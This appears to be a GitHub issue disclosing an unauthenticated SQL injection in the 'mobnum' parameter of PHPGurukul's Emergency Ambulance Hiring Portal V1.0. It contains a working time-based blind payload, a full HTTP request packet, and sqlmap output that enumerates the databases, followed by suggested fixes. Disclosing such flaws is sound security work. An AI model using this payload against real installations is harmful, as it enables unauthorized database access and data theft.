

New issue



PHPGurukul Emergency Ambulance Hiring Portal Project V1.0 /admin/contact-us.php SQL injection #2

Open



xiguala123 opened 2 weeks ago



PHPGurukul Emergency Ambulance Hiring Portal Project V1.0 /admin/contact-us.php SQL injection

NAME OF AFFECTED PRODUCT(S)

- Emergency Ambulance Hiring Portal

Vendor Homepage

- <https://phpgurukul.com/emergency-ambulance-hiring-portal-using-php-and-mysql/>

AFFECTED AND/OR FIXED VERSION(S)

submitter

- xiguala123

Vulnerable File

- /admin/contact-us.php

VERSION(S)

- V1.0

Software Link

- https://phpgurukul.com/?sdm_process_download=1&download_id=18972

PROBLEM TYPE

Vulnerability Type

- SQL injection

Root Cause

- A SQL injection vulnerability was identified within the "/admin/contact-us.php" file of the "Emergency Ambulance Hiring Portal" project. The root cause lies in the fact that attackers can inject malicious code via the parameter "mobnum". This input is then directly utilized in SQL queries without undergoing proper sanitization or validation processes. As a result, attackers are able to fabricate input values, manipulate SQL queries, and execute unauthorized operations.

Impact

- Exploiting this SQL injection vulnerability allows attackers to gain unauthorized access to the database, cause sensitive data leakage, tamper with data, gain complete control over the system, and even disrupt services. This poses a severe threat to both the security of the system and the continuity of business operations.

DESCRIPTION

- During the security assessment of "Emergency Ambulance Hiring Portal", I detected a critical SQL injection vulnerability in the "/admin/contact-us.php" file. This vulnerability is attributed to the insufficient validation of user input for the "mobnum" parameter. This inadequacy enables attackers to inject malicious SQL queries. Consequently, attackers can access the database without proper authorization, modify or delete data, and obtain sensitive information. Immediate corrective actions are essential to safeguard system security and uphold data integrity.

No login or authorization is required to exploit this vulnerability

Vulnerability details and POC

Vulnerability location:

- "mobnum" parameter

Payload:

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: pagetitle=Contact Us&email=test@gmail.com&mobnum=7894561236' AND (SELECT 8941 FROM (SE



Vulnerability Request Packet

POST /eahp/admin/contact-us.php HTTP/1.1

Host: 10.20.235.36

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate, br

Content-Type: application/x-www-form-urlencoded

Content-Length: 119

Origin: http://10.20.235.36

Connection: keep-alive

Referer: http://10.20.235.36/eahp/admin/contact-us.php

Cookie: PHPSESSID=sjff02k96fmdj19pgf1ce0n7fu

Upgrade-Insecure-Requests: 1

Priority: u=0, i

pagetitle=Contact+Us&email=test%40gmail.com&mobnum=1&pagedes=%23890+KFG+Apartment%2C+Gauri+Kunj



The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:

sqlmap -r vuln.txt --dbs



```

D:\security\python27\sqlmap>python2 sqlmap.py -r "C:\Users\xigua\Desktop\1\test.txt" --dbs
--H--
--O-- {1.8.9.1#dev}
--S--
--E-- https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 15:08:55 /2025-04-21/

[15:08:55] [INFO] parsing HTTP request from 'C:\Users\xigua\Desktop\1\test.txt'
it appears that provided value for POST parameter 'pagedes' has boundaries. Do you want to inject inside? ('#890 KFG Apartment, Gauri Kunj, Delhi-India' .') [Y/N]

[15:08:56] [WARNING] provided value for parameter 'submit' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[15:08:56] [INFO] resuming back-end DBMS 'mysql'
[15:08:56] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
----
Parameter: mobnum (POST)
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: pagetitle=Contact Us&email=test@gmail.com&mobnum=7894561236' AND (SELECT 8941 FROM (SELECT(SLEEP(5))))Zcyv AND 'fity'='fity&pagedes=#890 KF G Apartment, Gauri Kunj, Delhi-India.&submit=
----
[15:08:56] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.3.4, Apache 2.4.39
back-end DBMS: MySQL >= 5.0.12
[15:08:56] [INFO] fetching database names
[15:08:56] [INFO] fetching number of databases
[15:08:56] [WARNING] time-based comparison requires larger statistical model, please wait..... (done)
[15:08:58] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]

[15:16:32] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
2
[15:16:38] [INFO] retrieved:
[15:16:43] [INFO] adjusting time delay to 2 seconds due to good response times
information_schema
[15:18:39] [INFO] retrieved: eahpdb
available databases [2]:
[*] eahpdb
[*] information_schema

```

Suggested repair

1. Employ prepared statements and parameter binding:

Prepared statements serve as an effective safeguard against SQL injection as they segregate SQL code from user input data. When using prepared statements, user - entered values are treated as mere data and will not be misconstrued as SQL code.

2. Conduct input validation and filtering:

Rigorously validate and filter user input data to guarantee that it conforms to the expected format. This helps in blocking malicious input.

3. Minimize database user permissions:

Ensure that the account used to connect to the database has only the minimum required permissions. Avoid using accounts with elevated privileges (such as 'root' or 'admin') for day - to - day operations.

Sign up for free to join this conversation on GitHub. Already have an account? [Sign in to comment](#)

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

 Code with Copilot Agent Mode

▼

No branches or pull requests

Participants

